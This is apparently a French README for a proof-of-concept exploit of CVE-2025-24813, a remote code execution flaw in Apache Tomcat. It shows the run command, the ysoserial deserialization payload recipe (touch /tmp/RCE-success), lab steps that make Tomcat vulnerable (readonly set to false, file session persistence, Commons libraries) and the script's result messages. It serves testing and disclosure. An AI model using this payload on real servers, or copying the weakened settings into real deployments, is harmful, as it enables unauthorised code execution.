
CVE-2025-24813 Apache Tomcat RCE Preuve de concept (PoC)
PoC pour CVE-2025-24813, une vulnérabilité d'exécution de code à distance (RCE) dans Apache Tomcat.
Important : Ce PoC est destiné uniquement à tester vos propres environnements ou à des fins éducatives. Toute utilisation de ce PoC pour exploiter des systèmes sans autorisation appropriée est interdite et peut être illégale. Les créateurs et distributeurs de ce PoC ne sont pas responsables de toute utilisation abusive ou des dommages causés. Obtenez toujours une autorisation explicite avant de tester un environnement qui ne vous appartient pas.
python3 CVE-2025-24813.py --url <target_url>
Le code contient déjà une charge utile encodée en base64 générée avec ysoserial (https://github.com/frohoff/ysoserial) qui crée un fichier RCE-success dans /tmp comme suit :
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/RCE-success" | base64 -w 0
Activer l'accès PUT / Écriture
Modifiez $CATALINA_HOME/conf/web.xml pour ajouter un paramètre readonly sous la section du nom de servlet default et définissez-le sur false.
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
Activer la persistance de session
$CATALINA_HOME/conf/context.xml et ajoutez le paramètre suivant. <Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
$CATALINA_HOME/webapps/ROOT/index.jsp et assurez-vous que le paramètre par défaut pour la session n'est pas "false" ou supprimez-le simplement. <%@ page session="true" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
OU
<%@ page pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
Téléchargez les dépendances dans $CATALINA_HOME/lib/
cd $CATALINA_HOME/lib/
wget https[:]//repo1.maven[.]org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
wget https[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar
wget https[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
[+] Exploit most likely succeeded
[-] Exploit failed with status code: {status_code}, instead of 500,409